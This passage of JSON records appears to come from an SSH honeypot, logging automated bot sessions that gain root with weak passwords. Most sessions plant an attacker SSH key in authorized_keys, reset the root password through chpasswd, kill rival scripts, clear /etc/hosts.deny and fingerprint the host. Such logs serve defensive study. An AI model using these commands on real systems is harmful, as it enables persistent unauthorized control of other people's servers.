$4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:45:04.829039+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:45:05.270246+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:45:06.614006+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:45:07.061566+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:45:08.012885+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:45:08.459264+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:45:09.180582+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:45:09.621016+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:45:09.908931+00:00","kind":"output","latency_ms":null,"data":" 12:45:09 up 7 days, 9:35, 0 user, load average: 0.11, 0.14, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:45:10.353191+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:45:11.152540+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:45:11.594669+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:45:12.021025+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:45:12.463322+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:45:13.199326+00:00","kind":"output","latency_ms":null,"data":"top - 12:45:13 up 7 days, 9:35, 0 user, load average: 0.11, 0.14, 0.13\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:45:13.639268+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:45:14.278380+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:45:14.720365+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:45:15.566141+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:45:16.005891+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:45:16.367235+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:45:16.810927+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:45:18.239090+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:45:18.686403+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:45:19.873829+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Password+1","method":"password","accepted":true,"tier":"other"}]} {"id":"39da07dd-fb38-4fce-a527-19f9da5cd42c","name":"snowy-lawful-armadillo","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":46688,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:39:56.552160+00:00","ended_at":"2026-08-27T12:39:58.483014+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:39:39.555166+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:39:39.849103+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:39:42.837811+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:39:43.365229+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:39:43.659442+00:00","kind":"input","latency_ms":null,"data":"echo \"root:y9ESUcpyFReL\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:39:43.954890+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:39:44.249468+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:39:44.840229+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:39:45.136553+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:39:46.295844+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:39:46.590755+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:39:47.943258+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:39:48.240900+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:39:48.941100+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:39:49.235838+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:39:50.124336+00:00","kind":"output","latency_ms":null,"data":" 12:39:50 up 7 days, 9:29, 0 user, load average: 0.02, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:39:50.421320+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:39:51.132838+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:39:51.429901+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:39:51.858547+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:39:52.155515+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:39:52.689268+00:00","kind":"output","latency_ms":null,"data":"top - 12:39:52 up 7 days, 9:29, 0 user, load average: 0.02, 0.02, 0.02\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:39:52.976104+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:39:53.428389+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:39:53.728068+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:39:54.052840+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:39:54.348081+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:39:54.709285+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:39:55.005171+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:39:56.256034+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:39:56.553043+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:39:58.392659+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc#2025","method":"password","accepted":true,"tier":"other"}]} {"id":"3e59a2b6-5ca3-4b3c-a371-56c48ad903d9","name":"crisp-honest-quoll","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":59326,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:37:49.832818+00:00","ended_at":"2026-08-27T12:37:51.792145+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:37:32.133051+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:37:32.459345+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:37:35.493188+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:37:36.228200+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:37:36.555482+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Q7ddC8SAEW8q\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:37:36.887062+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:37:37.215605+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:37:37.775016+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:37:38.103136+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:37:39.416813+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:37:39.746099+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:37:40.976602+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:37:41.308480+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:37:41.908649+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:37:42.237802+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:37:42.729851+00:00","kind":"output","latency_ms":null,"data":" 12:37:42 up 7 days, 9:27, 0 user, load average: 0.18, 0.2, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:37:43.061734+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:37:43.332208+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:37:43.662733+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:37:44.274158+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:37:44.604135+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:37:45.157114+00:00","kind":"output","latency_ms":null,"data":"top - 12:37:45 up 7 days, 9:27, 0 user, load average: 0.18, 0.2, 0.17\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:37:45.486846+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:37:46.224556+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:37:46.553069+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:37:46.927843+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:37:47.255734+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:37:47.537218+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:37:47.867933+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:37:49.506540+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:37:49.833679+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:37:51.693571+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678aa","method":"password","accepted":true,"tier":"other"}]} {"id":"a43d6df3-a362-41f0-ac3b-6d50b2b37097","name":"flinty-foggy-stork","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37116,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:33:44.889851+00:00","ended_at":"2026-08-27T12:33:45.802782+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:33:25.589354+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:33:25.912082+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:33:29.411524+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:33:30.468126+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:33:30.800880+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wt7fE2DcO5yC\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:33:31.125769+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:33:31.451217+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:33:32.401543+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:33:32.729160+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:33:33.943082+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:33:34.280053+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:33:35.251738+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:33:35.581417+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:33:36.444860+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:33:36.772013+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:33:37.110065+00:00","kind":"output","latency_ms":null,"data":" 12:33:37 up 7 days, 9:23, 0 user, load average: 0.28, 0.29, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:33:37.439227+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:33:38.179371+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:33:38.509180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:33:39.255901+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:33:39.586104+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:33:40.356013+00:00","kind":"output","latency_ms":null,"data":"top - 12:33:40 up 7 days, 9:23, 0 user, load average: 0.28, 0.29, 0.25\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:33:40.684851+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:33:40.944893+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:33:41.272024+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:33:41.709633+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:33:42.037049+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:33:42.377837+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:33:42.707057+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:33:44.562883+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:33:44.890676+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:33:45.704450+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12356789","method":"password","accepted":true,"tier":"other"}]} {"id":"76f346a1-f615-4192-8f06-bceee895d849","name":"vigilant-eager-ferret","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51388,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":259,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:33:36.913486+00:00","ended_at":"2026-08-27T12:33:39.163783+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:33:17.772293+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:33:18.031761+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:33:22.523118+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:33:23.134576+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:33:23.393004+00:00","kind":"input","latency_ms":null,"data":"echo \"root:JCAxecqOOcIl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:33:23.650629+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:33:23.907791+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:33:24.647015+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:33:24.911369+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:33:25.970722+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:33:26.229483+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:33:27.815901+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:33:28.075815+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:33:28.516947+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:33:28.776751+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:33:29.628101+00:00","kind":"output","latency_ms":null,"data":" 12:33:29 up 7 days, 9:23, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:33:29.886709+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:33:30.339192+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:33:30.598482+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:33:31.021900+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:33:31.281655+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:33:31.812638+00:00","kind":"output","latency_ms":null,"data":"top - 12:33:31 up 7 days, 9:23, 0 user, load 